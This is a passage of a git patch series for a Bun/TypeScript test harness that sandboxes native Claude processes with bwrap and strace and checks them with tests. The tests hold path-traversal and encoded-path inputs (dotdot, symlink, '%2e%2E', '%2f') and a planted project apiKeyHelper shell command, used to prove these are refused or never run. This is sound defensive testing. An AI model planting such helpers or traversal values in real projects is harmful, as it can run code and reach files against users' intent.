{...plan,native:true,env:{...env,BRAIN_WORKER_LAUNCH:JSON.stringify({...launch,argv:audit.argv})},nativeExecuted:audit.nativeExecuted,dispose:audit.dispose};}})); + const {createWorkerPipes}=await import(${JSON.stringify(pipes)});const p=createWorkerPipes(),streams=p.streams();streams.stderr.resume();streams.stdout.resume(); + const boot=Bun.spawn([process.execPath,${JSON.stringify(entry)}],{env:{PATH:"/usr/bin:/bin",BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/bin/sh","-c","exit 1"],argv:["/bin/sh","-c","exit 1"]})},stdin:p.child[0],stdout:p.child[1],stderr:p.child[2]}); + p.closeChild();streams.stdin.end();await boot.exited; + `],{env:{PATH:"/usr/bin:/bin"}}); + const [,out]=await Promise.all([child.exited,child.guardOutput()]); + const records=out.split("\n").filter(line=>line.startsWith('{"kind":"native-offline-')).map(line=>JSON.parse(line)); + const kind=executed?"native-offline-native-exit":"native-offline-bootstrap-failure"; + expect(records.find(record=>record.kind===kind),"POST_EXEC_EXIT_IS_NOT_BOOTSTRAP_FAILURE").toMatchObject({exitCode:1,signal:null}); + expect(records.some(record=>record.kind===(executed?"native-offline-bootstrap-failure":"native-offline-native-exit"))).toBe(false); + expect(out).toContain(executed?"native payload exited nonzero without stderr":"worker bootstrap exited nonzero; stderr reason unavailable"); + expect(records.find(record=>record.kind==="native-offline-audit")?.nativeLaunched).toBe(executed); +}); diff --git a/tests/native-managed-settings.test.ts b/tests/native-managed-settings.test.ts index c997920554..ca7d27a109 100644 --- a/tests/native-managed-settings.test.ts +++ b/tests/native-managed-settings.test.ts @@ -24,13 +24,21 @@ test("undeclared managed settings do not add a worker mount",()=>{ try{expect(nativeFixtureManagedSettingsMounts(root)).toEqual([]);}finally{leave();rmSync(root,{recursive:true,force:true});} }); -for(const mode of ["outside","symlink","hardlink"] as const)test(`managed settings refuse ${mode} registration`,async()=>{ +for(const mode of ["outside","symlink","parent-symlink","dotdot","hardlink"] as const)test(`managed settings refuse ${mode} registration`,async()=>{ const child=spawnGuardFixture([process.execPath,"-e",` import {nativeFixtureDirectory,nativeScriptedService} from ${JSON.stringify(guard)}; - import {mkdtempSync,writeFileSync,symlinkSync,linkSync,rmSync} from "node:fs"; + import {mkdtempSync,writeFileSync,symlinkSync,linkSync,rmSync,statSync} from "node:fs"; + const mode=${JSON.stringify(mode)}; const root=nativeFixtureDirectory("odysseus-managed-negative-"),outside=mkdtempSync("/tmp/odysseus-unregistered-"); - writeFileSync(root+"/managed.json","{}");writeFileSync(outside+"/managed.json","{}");symlinkSync(root+"/managed.json",root+"/alias");linkSync(outside+"/managed.json",root+"/hardlink"); - try{nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root],managedSettingsFile:${mode==="outside"?'outside+"/managed.json"':mode==="hardlink"?'root+"/hardlink"':'root+"/alias"'}});}catch{}finally{rmSync(root,{recursive:true,force:true});rmSync(outside,{recursive:true,force:true});} + writeFileSync(root+"/managed.json","{}");writeFileSync(outside+"/managed.json","{}"); + let file; + if(mode==="hardlink"){linkSync(outside+"/managed.json",root+"/hardlink");file=root+"/hardlink";} + else if(mode==="symlink"){symlinkSync(root+"/managed.json",root+"/alias");file=root+"/alias";} + else if(mode==="parent-symlink"){symlinkSync(outside,root+"/linkdir");file=root+"/linkdir/managed.json";} + else if(mode==="dotdot")file=root+"/../"+outside.split("/").pop()+"/managed.json"; + else file=outside+"/managed.json"; + if(mode!=="hardlink"&&statSync(file).nlink!==1)throw Error("NEGATIVE_CASE_MUST_NOT_BORROW_HARDLINK_REFUSAL"); + try{nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root],managedSettingsFile:file});}catch{}finally{rmSync(root,{recursive:true,force:true});rmSync(outside,{recursive:true,force:true});} `],{env:{PATH:"/usr/bin:/bin"}}); - const [code,out]=await Promise.all([child.exited,child.guardOutput()]);expect(code).not.toBe(0);expect(out).toContain("managed settings require an unlinked fixture-created regular file");expect(out).toContain('"nativeLaunched":false'); + const [code,out]=await Promise.all([child.exited,child.guardOutput()]);expect(code,`MANAGED_SETTINGS_${mode.toUpperCase()}_MUST_REFUSE`).not.toBe(0);expect(out).toContain("managed settings require an unlinked fixture-created regular file");expect(out).toContain('"nativeLaunched":false'); }); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 45cc1815d8..5bcd54ce25 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -1166,12 +1166,14 @@ test("direct and trusted worker plans admit only a registered turn-proxy endpoin const tunnel=guard.startNativeTurnProxyTunnel("http://127.0.0.1:9",root);await new Promise(resolve=>setImmediate(resolve)); function finish(plan,argv){writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();} try{ - const direct=guard.nativeClaudeBoundary(runtime,[],{cwd:root,env:{HOME:root,PATH:"/usr/bin:/bin"}}); + const direct=guard.nativeClaudeBoundary(runtime,[],{cwd:root,env:{HOME:root,PATH:"/usr/bin:/bin",ANTHROPIC_UNIX_SOCKET:tunnel.socket,ANTHROPIC_BASE_URL:"http://localhost/anthropic"}}); + if(!direct.argv.some((arg,i)=>arg==="--setenv"&&direct.argv[i+1]==="ANTHROPIC_BASE_URL"&&direct.argv[i+2]==="http://localhost/anthropic"))throw Error("DIRECT_ADMITTED_BASE_PATH_PRESERVED"); if(!direct.argv.includes("--turn-proxy")||!direct.argv.includes(entry))throw Error("DIRECT_PROXY_REGISTRATION_MISSING");finish(direct,direct.argv); for(const [trusted,registered] of [[true,true],[true,false],[false,true]]){ const command=[runtime],wrapper=trusted?[process.execPath,entry]:["/usr/bin/true"]; - const argv=["bwrap",...(registered?["--ro-bind",tunnel.socket,guard.WORKER_TURN_PROXY]:[]),"--",...wrapper,...command]; - const plan=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command,argv,brainPath:root,env:{HOME:root,PATH:"/usr/bin:/bin"}})}),actual=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; + const argv=["bwrap","--ro-bind",tunnel.socket,"/run/brain-inference/relay.sock",...(registered?["--ro-bind",tunnel.socket,guard.WORKER_TURN_PROXY]:[]),"--",...wrapper,...command]; + const plan=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command,argv,brainPath:root,env:{HOME:root,PATH:"/usr/bin:/bin",ANTHROPIC_UNIX_SOCKET:"/run/brain-inference/relay.sock",ANTHROPIC_BASE_URL:"http://localhost/anthropic"}})}),actual=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; + if(!actual.some((arg,i)=>arg==="--setenv"&&actual[i+1]==="ANTHROPIC_BASE_URL"&&actual[i+2]==="http://localhost/anthropic"))throw Error("WORKER_ADMITTED_BASE_PATH_PRESERVED"); if(actual.includes("--turn-proxy")!==(trusted&®istered))throw Error("WORKER_PROXY_REQUIRES_TRUSTED_WRAPPER_AND_REGISTRATION");finish(plan,actual); } }finally{tunnel.dispose();}`,scratch); diff --git a/tests/native-relay-base-path.test.ts b/tests/native-relay-base-path.test.ts new file mode 100644 index 0000000000..3dba2309fa --- /dev/null +++ b/tests/native-relay-base-path.test.ts @@ -0,0 +1,34 @@ +/** Declared IPC routing only; never starts an installed runtime. */ +import { expect, test } from "bun:test"; +import { join } from "node:path"; +import { nativeAdmittedRelayBaseUrl, nativeScriptedService } from "../scripts/test-native-guard"; +import { startInferenceRelay } from "../packages/ui-sdk/src/server/inference-relay"; +import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; + +test("admitted custom base path reaches the exact real Unix relay route",async()=>{ + const service=Bun.serve({hostname:"127.0.0.1",port:0,fetch(request){return Response.json({path:new URL(request.url).pathname});}}); + const leave=nativeScriptedService(service.url.origin),upstream=service.url.origin+"/anthropic"; + const relay=startInferenceRelay({upstream,routes:["/v1/messages"],credentials:{authorization:"Bearer odysseus-fixture"}}); + try{ + const base=nativeAdmittedRelayBaseUrl("http://localhost/anthropic",true); + const response=await fetch(base+"/v1/messages",{unix:relay.socketPath,method:"POST",body:"{}"}); + expect(response.status,"ADMITTED_CUSTOM_RELAY_PATH_REACHES_MODEL").toBe(200); + expect(await response.json()).toEqual({path:"/anthropic/v1/messages"}); + expect((await fetch("http://localhost/v1/messages",{unix:relay.socketPath,method:"POST",body:"{}"})).status).toBe(403); + expect(nativeAdmittedRelayBaseUrl(upstream,false),"FALLBACK_RELAY_STAYS_AT_ROOT").toBe("http://localhost"); + expect(nativeAdmittedRelayBaseUrl("https://gateway.ithaca.invalid/Anthropic%20Route",true)).toBe("http://localhost/Anthropic%20Route"); + }finally{relay.stop();leave();service.stop(true);} +}); + +for(const [name,path] of Object.entries({dot:"/a/../anthropic",singleDot:"/a/./anthropic",encodedDot:"/%2e%2E/anthropic",encodedSlash:"/anthropic%2fsecret",backslash:"/anthropic\\secret",encodedBackslash:"/anthropic%5csecret",query:"/anthropic?q=1",hash:"/anthropic#secret",trailingSlash:"/anthropic/",rootSlash:"/"}))test(`admitted relay refuses ${name} path without normalization`,async()=>{ + const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); + const child=spawnGuardFixture([process.execPath,"-e",`import {nativeAdmittedRelayBaseUrl} from ${JSON.stringify(guard)};try{nativeAdmittedRelayBaseUrl(${JSON.stringify("http://localhost"+path)},true);}catch{}`],{env:{PATH:"/usr/bin:/bin"}}); + const [code,out]=await Promise.all([child.exited,child.guardOutput()]); + expect(code,"NONCANONICAL_RELAY_PATH_MUST_REFUSE").not.toBe(0);expect(out).toContain("admitted relay base path is not canonical"); +}); + +test("admitted relay refuses URL userinfo",async()=>{ + const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); + const child=spawnGuardFixture([process.execPath,"-e",`import {nativeAdmittedRelayBaseUrl} from ${JSON.stringify(guard)};try{nativeAdmittedRelayBaseUrl("http://odysseus:fixture@localhost/anthropic",true);}catch{}`],{env:{PATH:"/usr/bin:/bin"}}); + const [code,out]=await Promise.all([child.exited,child.guardOutput()]);expect(code).not.toBe(0);expect(out).toContain("admitted relay base path is not canonical"); +}); From cf975fa0caf64d8c2a635a0e00482e9be836ca00 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 15:46:44 +0000 Subject: [PATCH 074/187] test: keep helper controls visible and name identity startup refusals --- .../helpers/subscription-helper-witness.ts | 10 +++++++++ .../tests/subscription-billing.test.ts | 21 ++++++------------ scripts/measurement-worker-fixture.ts | 3 ++- scripts/native-device-diagnostics.ts | 16 ++++++++++++++ scripts/native-rtk-diagnostics.ts | 15 +++++++++++++ scripts/test-native-guard.ts | 8 ++++--- tests/native-device-diagnostics.test.ts | 22 +++++++++++++++++++ tests/native-helper-witness.test.ts | 19 ++++++++++++++++ tests/native-offline-boundary.test.ts | 2 ++ tests/native-rtk-diagnostics.test.ts | 21 ++++++++++++++++++ 10 files changed, 119 insertions(+), 18 deletions(-) create mode 100644 packages/ui-backend-claude/tests/helpers/subscription-helper-witness.ts create mode 100644 scripts/native-device-diagnostics.ts create mode 100644 scripts/native-rtk-diagnostics.ts create mode 100644 tests/native-device-diagnostics.test.ts create mode 100644 tests/native-helper-witness.test.ts create mode 100644 tests/native-rtk-diagnostics.test.ts diff --git a/packages/ui-backend-claude/tests/helpers/subscription-helper-witness.ts b/packages/ui-backend-claude/tests/helpers/subscription-helper-witness.ts new file mode 100644 index 0000000000..7fef447b05 --- /dev/null +++ b/packages/ui-backend-claude/tests/helpers/subscription-helper-witness.ts @@ -0,0 +1,10 @@ +/** A separately asserted dotfile witness inside the already projected brain. */ +import { mkdirSync,writeFileSync } from "node:fs"; +import { join } from "node:path"; +export function installSubscriptionHelperWitness(brainPath:string,key:string,delayed=false):string { + const marker=join(brainPath,".odysseus-helper-ran"); + mkdirSync(join(brainPath,".claude"),{recursive:true}); + const quote=(value:string)=>"'"+value.replaceAll("'","'\\''")+"'"; + writeFileSync(join(brainPath,".claude/settings.json"),JSON.stringify({apiKeyHelper:`touch ${quote(marker)}; ${delayed?"sleep 2; ":""}echo ${quote(key)}`})); + return marker; +} diff --git a/packages/ui-backend-claude/tests/subscription-billing.test.ts b/packages/ui-backend-claude/tests/subscription-billing.test.ts index 749d35ec3f..2e4e0e8975 100644 --- a/packages/ui-backend-claude/tests/subscription-billing.test.ts +++ b/packages/ui-backend-claude/tests/subscription-billing.test.ts @@ -1,3 +1,4 @@ +import { installSubscriptionHelperWitness } from "./helpers/subscription-helper-witness"; import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; import { createFixtureWorkerStartupView, prepareFixtureWorkerSandbox } from "../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; @@ -253,10 +254,8 @@ describe("a profile without its own credential bills the subscription", () => { }, LIVE); test("a project apiKeyHelper refuses the turn: it never runs, and nothing is sent", async () => { - const marker = join(tempDir("sub-marker-"), "helper-ran"); - const fixture = arrange({ - projectSettings: { apiKeyHelper: `touch ${marker}; echo ${HELPER_KEY}` }, - }); + const fixture = arrange({}); + const marker = installSubscriptionHelperWitness(fixture.brainPath, HELPER_KEY); // (The helper fixture is proven live by the control test below.) const { frames } = await runTurn(fixture); @@ -270,11 +269,8 @@ describe("a profile without its own credential bills the subscription", () => { // check, so a configured helper refuses the turn outright. The marker comes // first, so its absence means the helper never started — not that it was // killed during the sleep. - const marker = join(tempDir("sub-marker-"), "helper-ran"); - const fixture = arrange({ - oauth: OAUTH, - projectSettings: { apiKeyHelper: `touch ${marker}; sleep 2; echo ${HELPER_KEY}` }, - }); + const fixture = arrange({ oauth: OAUTH }); + const marker = installSubscriptionHelperWitness(fixture.brainPath, HELPER_KEY, true); const { frames } = await runTurn(fixture); expect(seen).toEqual([]); @@ -325,11 +321,8 @@ describe("the fixtures would catch what they are for", () => { test("control: without the backend, the project helper runs and its key is sent", async () => { // Proves the helper fixture is live, so the "never runs" assertions above // are about the backend and not about a helper that could not have run. - const marker = join(tempDir("sub-marker-"), "helper-ran"); - const { brainPath } = arrange({ - oauth: OAUTH, - projectSettings: { apiKeyHelper: `touch ${marker}; echo ${HELPER_KEY}` }, - }); + const { brainPath } = arrange({ oauth: OAUTH }); + const marker = installSubscriptionHelperWitness(brainPath, HELPER_KEY); const run = query({ prompt: "Reply with the single word ok.", options: { diff --git a/scripts/measurement-worker-fixture.ts b/scripts/measurement-worker-fixture.ts index 8fed48e3be..761df85fd1 100644 --- a/scripts/measurement-worker-fixture.ts +++ b/scripts/measurement-worker-fixture.ts @@ -1,3 +1,4 @@ +import { diagnoseNativeFixtureRtk } from "./native-rtk-diagnostics"; import { registerNativeFixtureRtk } from "./test-native-guard"; /** Explicit copied execution inputs for offline, non-storage runtime measurements. */ import { prepareWorkerSandbox } from "../packages/ui-sdk/src/server/worker-launcher.js"; @@ -13,7 +14,7 @@ export function createMeasurementWorkerFixture(brain: string, home?: string) { const workerStartupView = createFixtureWorkerStartupView(brain); let live:import("../packages/ui-sdk/src/server/worker-launcher").LaunchedWorker|undefined; return { maintenance, request: { workerSandbox, workerStartupView,workerStarted(worker:Parameters>[0]){if(!("pid" in worker)||typeof worker.pid!=="number")throw Error("native fixture RTK worker identity unavailable");live=worker as import("../packages/ui-sdk/src/server/worker-launcher").LaunchedWorker;} }, - qualifyRtk(){if(!live)throw Error("native fixture RTK worker unavailable");registerNativeFixtureRtk(live);},cleanup() { + qualifyRtk(){diagnoseNativeFixtureRtk(()=>{if(!live)throw Error("native fixture RTK worker unavailable");registerNativeFixtureRtk(live);});},cleanup() { try { workerStartupView.cleanup(); } finally { maintenance.cleanup(); } } }; } catch (error) { maintenance.cleanup(); throw error; } diff --git a/scripts/native-device-diagnostics.ts b/scripts/native-device-diagnostics.ts new file mode 100644 index 0000000000..2e6ac15fd3 --- /dev/null +++ b/scripts/native-device-diagnostics.ts @@ -0,0 +1,16 @@ +/** Temporary identity-only metadata probe: fixed paths, no permissions changed. */ +export function nativeDeviceMetadataCommand(command:readonly string[]):string[] { + return ["/usr/bin/python3","-I","-S","-c",'import os,sys\nfor path in ["/dev","/dev/urandom"]:\n try: os.stat(path)\n except OSError: pass\nos.execv(sys.argv[1],sys.argv[1:])',...command]; +} +export function nativeDeviceMetadata(trace:string):Array> { + const records=new Map>(); + for(const line of trace.split("\n")){ + const match=/^\s*(?:[0-9]+\s+)?newfstatat\(AT_FDCWD, "(\/dev(?:\/urandom)?)", (.*)\) = (.*)$/.exec(line); + if(!match)continue; + const device=match[1]==="/dev"?"dev":"urandom",body=match[2]!,result=match[3]!; + const mode=/\bst_mode=S_IF(?:DIR|CHR)\|([0-7]+)/.exec(body),uid=/\bst_uid=([0-9]+)/.exec(body),gid=/\bst_gid=([0-9]+)/.exec(body); + if(result==="0"&&mode&&uid&&gid)records.set(device,{device,mode:parseInt(mode[1]!,8),uid:Number(uid[1]),gid:Number(gid[1])}); + else {const error=/^-1 (EACCES|EPERM|ENOENT|ENOTDIR)\b/.exec(result);if(error)records.set(device,{device,error:error[1]!});} + } + return [...records.values()]; +} diff --git a/scripts/native-rtk-diagnostics.ts b/scripts/native-rtk-diagnostics.ts new file mode 100644 index 0000000000..efab59d041 --- /dev/null +++ b/scripts/native-rtk-diagnostics.ts @@ -0,0 +1,15 @@ +/** Fixed test-only categories; adapter errors never contribute arbitrary text. */ +import { nativeReceipt } from "./native-test-receipts"; +import { nativeTestHead } from "./test-native-guard"; +export function nativeRtkFailureCategory(error:unknown):string { + const message=error instanceof Error?error.message:""; + if(message==="native fixture RTK payload missing")return "no-owned-match"; + if(message==="native fixture RTK payload ambiguous")return "multiple-match"; + if(["native fixture RTK root identity changed","native fixture RTK audited identity changed","native fixture RTK payload identity changed","native fixture RTK identity changed"].includes(message))return "start-mismatch"; + if(["native fixture RTK executable changed","native fixture RTK executable unavailable"].includes(message))return "exe-mismatch"; + if(["native fixture RTK spawn is unregistered","native fixture RTK worker unavailable","native fixture RTK worker identity unavailable"].includes(message))return "launch-mismatch"; + return "register-refused"; +} +export function diagnoseNativeFixtureRtk(register:()=>void):void { + try{register();}catch(error){nativeReceipt({kind:"native-fixture-rtk-registration",head:nativeTestHead(),success:false,category:nativeRtkFailureCategory(error)});throw error;} +} diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 11ae637137..52526fc336 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1,3 +1,4 @@ +import { nativeDeviceMetadata, nativeDeviceMetadataCommand } from "./native-device-diagnostics"; import { nativeReceipt } from "./native-test-receipts.ts"; /** Test-only OS boundary for installed native Claude processes (#4313). */ import { constants, createWriteStream, cpSync, fstatSync, statfsSync, chmodSync, closeSync, mkdirSync, existsSync, lstatSync, openSync, readFileSync, readSync, readdirSync, statSync, mkdtempSync, readlinkSync, realpathSync, rmSync, writeFileSync } from "node:fs"; @@ -472,6 +473,7 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c let trace = ""; try { trace = readFileSync(log, "utf8"); } catch { /* Missing evidence is a failed receipt. */ } if (diagnosticRoot) { + for(const metadata of nativeDeviceMetadata(trace))nativeReceipt({kind:"native-fixture-device-metadata",head:nativeTestHead(),...metadata}); try { writeFileSync(join(diagnosticRoot, `native-startup-audit-${directoryStamp.ino}.json`), JSON.stringify({ kind: "native-fixture-startup-audit", head: nativeTestHead(), text: scrubNativeStartupTrace(trace,diagnosticFixtureRoots) }), { flag: "wx", mode: 0o600 }); } catch { nativeReceipt({kind:"native-fixture-startup-audit-failure",head:nativeTestHead(),success:false,reason:"startup audit snapshot unavailable"}); } @@ -491,7 +493,7 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c }; // -o otherwise makes strace ignore SIGTERM; refusal/cancellation must kill // both the tracer and its entire traced sandbox, closing inherited pipes. - return { argv: [straceExecutable, "-I", "1", "--kill-on-exit", "-f", "-qq", "-s", "0", "-e", diagnosticRoot ? "trace=connect,%file,%process,mmap,mprotect,munmap,brk,prlimit64,getrlimit,prctl,io_uring_setup,pidfd_open,pidfd_getfd,rt_sigaction,rt_sigprocmask,sched_getaffinity,rseq,futex,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4" : "trace=connect,execve,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4", "-e", "raw=connect,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4", "-o", log, "--", ...argv], + return { argv: [straceExecutable, "-I", "1", "--kill-on-exit", "-f", "-qq", "-s", "0", ...(diagnosticRoot?["-e","abbrev=!newfstatat,statx"]:[]), "-e", diagnosticRoot ? "trace=connect,%file,%process,mmap,mprotect,munmap,brk,prlimit64,getrlimit,prctl,io_uring_setup,pidfd_open,pidfd_getfd,rt_sigaction,rt_sigprocmask,sched_getaffinity,rseq,futex,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4" : "trace=connect,execve,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4", "-e", "raw=connect,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4", "-o", log, "--", ...argv], dispose() { finish(); }, receipt: finish, nativeExecuted(){ if(receipt)return receipt.nativeLaunched; @@ -944,7 +946,7 @@ export function registerNativeFixtureRtk(worker:import("../packages/ui-sdk/src/s if(!record.expected.includes(executable))throw Error("native fixture RTK executable changed"); if(processStart(pid)!==start)throw Error("native fixture RTK payload identity changed");selected.push(pid); } - if(selected.length!==1)throw Error("native fixture RTK payload missing or ambiguous"); + if(selected.length!==1)throw Error(selected.length===0?"native fixture RTK payload missing":"native fixture RTK payload ambiguous"); if(processStart(worker.pid)!==record.start||processStart(selected[0]!)!==owned.get(selected[0]!))throw Error("native fixture RTK identity changed"); const {registerWorkerRtk}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-rtk.ts") as typeof import("../packages/ui-sdk/src/server/worker-rtk"); registerWorkerRtk(worker,selected[0]!,record.launch); @@ -1282,7 +1284,7 @@ export function nativeWorkerBoundary(env: Record): { const payloadIndex = workerArgv.indexOf("--", bwrap) + 1; const nativePayload = workerArgv.splice(payloadIndex); const turnProxy=admittedRelay(workerArgv,WORKER_TURN_PROXY); - workerArgv.push(...nativeWorkerPayloadCommand(nativePayload,command,(argv,trusted)=>nativeSocketCommand(argv, admitted?.path ?? join(bridge.directory, "relay.sock"), pinned.ANTHROPIC_UNIX_SOCKET,trusted&&turnProxy?{source:turnProxy.path,allowed:WORKER_TURN_PROXY}:undefined))); + workerArgv.push(...nativeWorkerPayloadCommand(nativePayload,command,(argv,trusted)=>nativeSocketCommand(supervisor&&process.argv.some(value=>value.startsWith("--native-identity-startup-audit="))?nativeDeviceMetadataCommand(argv):argv, admitted?.path ?? join(bridge.directory, "relay.sock"), pinned.ANTHROPIC_UNIX_SOCKET,trusted&&turnProxy?{source:turnProxy.path,allowed:WORKER_TURN_PROXY}:undefined))); const nativeMounts = workerArgv.slice(bwrap + 1, workerArgv.indexOf("--", bwrap)); const beforeLaunch = () => { try { keeper?.refresh(); assertWorkerFixtureBinds(nativeMounts, route, bridge.directory,keeper); assertNativeMountSockets(nativeMounts, route.origin,keeper); } diff --git a/tests/native-device-diagnostics.test.ts b/tests/native-device-diagnostics.test.ts new file mode 100644 index 0000000000..33c2fe0548 --- /dev/null +++ b/tests/native-device-diagnostics.test.ts @@ -0,0 +1,22 @@ +import { expect,test } from "bun:test"; +import { mkdtempSync,readFileSync,rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { nativeDeviceMetadata,nativeDeviceMetadataCommand } from "../scripts/native-device-diagnostics"; +test("device metadata is collected by the harmless payload inside its actual view",async()=>{ + const root=mkdtempSync(join(tmpdir(),"odysseus-device-metadata-")); + try{ + const log=join(root,"trace"),strace=Bun.which("strace");expect(strace,"strace required for device metadata proof").toBeTruthy(); + const child=Bun.spawn([strace!,"-f","-qq","-e","trace=newfstatat","-e","abbrev=!newfstatat,statx","-o",log,"--","bwrap","--unshare-user","--uid","21002","--gid","21002","--unshare-net","--ro-bind","/","/","--dev","/dev","--",...nativeDeviceMetadataCommand(["/usr/bin/python3","-I","-S","-c",'import os; fd=os.open("/dev/urandom",os.O_RDONLY);os.close(fd)'])],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(code,err).toBe(0);expect(out).toBe(""); + const records=nativeDeviceMetadata(readFileSync(log,"utf8")); + expect(records.map(value=>value.device),"ACTUAL_CHILD_DEVICE_METADATA").toEqual(["dev","urandom"]); + expect(records.find(value=>value.device==="dev")?.uid).toBe(21002); + for(const value of records){expect(value.mode).toBeGreaterThan(0);expect(Number.isSafeInteger(value.uid)).toBe(true);expect(Number.isSafeInteger(value.gid)).toBe(true);} + }finally{rmSync(root,{recursive:true,force:true});} +}); +test("device metadata cannot retain host paths or arbitrary syscall content",()=>{ + const trace='1 newfstatat(AT_FDCWD, "/home/private-owner/secret", {st_mode=S_IFDIR|0700, st_uid=1000, st_gid=1000}, 0) = 0\n2 newfstatat(AT_FDCWD, "/dev/urandom", {st_mode=S_IFCHR|0666, st_uid=21002, st_gid=21002, private="TOKEN=secret"}, 0) = 0\n3 newfstatat(AT_FDCWD, "/dev", 0x1, 0) = -1 EACCES (Permission denied)'; + expect(nativeDeviceMetadata(trace),"DEVICE_METADATA_FIXED_FIELDS_ONLY").toEqual([{device:"urandom",mode:0o666,uid:21002,gid:21002},{device:"dev",error:"EACCES"}]); +}); diff --git a/tests/native-helper-witness.test.ts b/tests/native-helper-witness.test.ts new file mode 100644 index 0000000000..a2bd5262b8 --- /dev/null +++ b/tests/native-helper-witness.test.ts @@ -0,0 +1,19 @@ +import { expect,test } from "bun:test"; +import { mkdtempSync,mkdirSync,readFileSync,existsSync,rmSync,readdirSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { installSubscriptionHelperWitness } from "../packages/ui-backend-claude/tests/helpers/subscription-helper-witness"; +test("isolated helper control witnesses execution inside the projected brain",()=>{ + const root=mkdtempSync(join(tmpdir(),"odysseus-helper-view-")),brain=join(root,"brain");mkdirSync(brain); + try{ + const marker=installSubscriptionHelperWitness(brain,"odysseus-fixture-key"); + expect(existsSync(marker),"PROTECTED_TWIN_MARKER_STARTS_ABSENT").toBe(false); + const helper=JSON.parse(readFileSync(join(brain,".claude/settings.json"),"utf8")).apiKeyHelper; + const child=Bun.spawnSync(["bwrap","--unshare-user","--unshare-net","--ro-bind","/usr","/usr","--symlink","usr/bin","/bin","--symlink","usr/lib","/lib","--symlink","usr/lib64","/lib64","--tmpfs","/tmp","--bind",brain,brain,"--chdir",brain,"--","/bin/sh","-c",helper],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); + expect(child.exitCode,child.stderr.toString()).toBe(0); + expect(existsSync(marker),"HELPER_CONTROL_WITNESS_VISIBLE_IN_PROJECTED_BRAIN").toBe(true); + expect(child.stdout.toString().trim()).toBe("odysseus-fixture-key"); + // This witness is asserted separately, not counted as brain content. + expect(readdirSync(brain).filter(name=>name!==".odysseus-helper-ran")).toEqual([".claude"]); + }finally{rmSync(root,{recursive:true,force:true});} +}); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 5bcd54ce25..fa85534e6d 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -369,6 +369,7 @@ test("separate-UID plans trace the broker payload outside its hidden native audi const leave=nativeScriptedService("http://127.0.0.1:1"); const launch={command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},ANTHROPIC_API_KEY:"offline-fixture"}, argv:["/usr/bin/python3","-I","-S","-c",WORKER_IDENTITY_SUPERVISOR,JSON.stringify({argv:["bwrap","--ro-bind","/","/",...${JSON.stringify(["/tmp","/home","/etc",ROOT])}.flatMap(path=>["--tmpfs",path]),"--remount-ro","/","--remount-ro","/etc","--",${JSON.stringify(runtime)}],secret:"synthetic"})]}; + process.argv.push("--native-identity-startup-audit="+${JSON.stringify(scratch)}); const worker=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(launch)}); if(worker.native!==true)throw Error("ADMITTED_NATIVE_PLAN_CLASSIFIED"); const outer=JSON.parse(worker.env.BRAIN_WORKER_LAUNCH).argv; @@ -379,6 +380,7 @@ test("separate-UID plans trace the broker payload outside its hidden native audi assertGuardMountOrder(args.slice(1,split),["/","/etc"]); if(!args.slice(0,split).some((arg,i)=>arg==="--bind"&&args[i+1]===directory&&args[i+2]===directory))throw Error("guard trace directory bind missing"); const inner=trace.slice(trace.indexOf("--")+1); + if(!trace.includes("abbrev=!newfstatat,statx")||!inner.some(value=>value.includes('os.stat(path)')))throw Error("IDENTITY_PLAN_COLLECTS_CHILD_DEVICE_METADATA"); if(!inner.some((arg,i)=>arg==="--tmpfs"&&inner[i+1]===directory)||!inner.includes("--unshare-pid")||!inner.includes("--unshare-net"))throw Error("native child can see audit storage or tracer PID"); if(args.slice(0,split).some((arg,i)=>arg==="--ro-bind"&&args[i+1]==="/"))throw Error("host root remained mounted"); if(config.secret!=="synthetic")throw Error("identity authority changed"); diff --git a/tests/native-rtk-diagnostics.test.ts b/tests/native-rtk-diagnostics.test.ts new file mode 100644 index 0000000000..6b54059352 --- /dev/null +++ b/tests/native-rtk-diagnostics.test.ts @@ -0,0 +1,21 @@ +import { expect,test } from "bun:test"; +import { join } from "node:path"; +import { nativeRtkFailureCategory } from "../scripts/native-rtk-diagnostics"; +import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; +const cases={"no-owned-match":"native fixture RTK 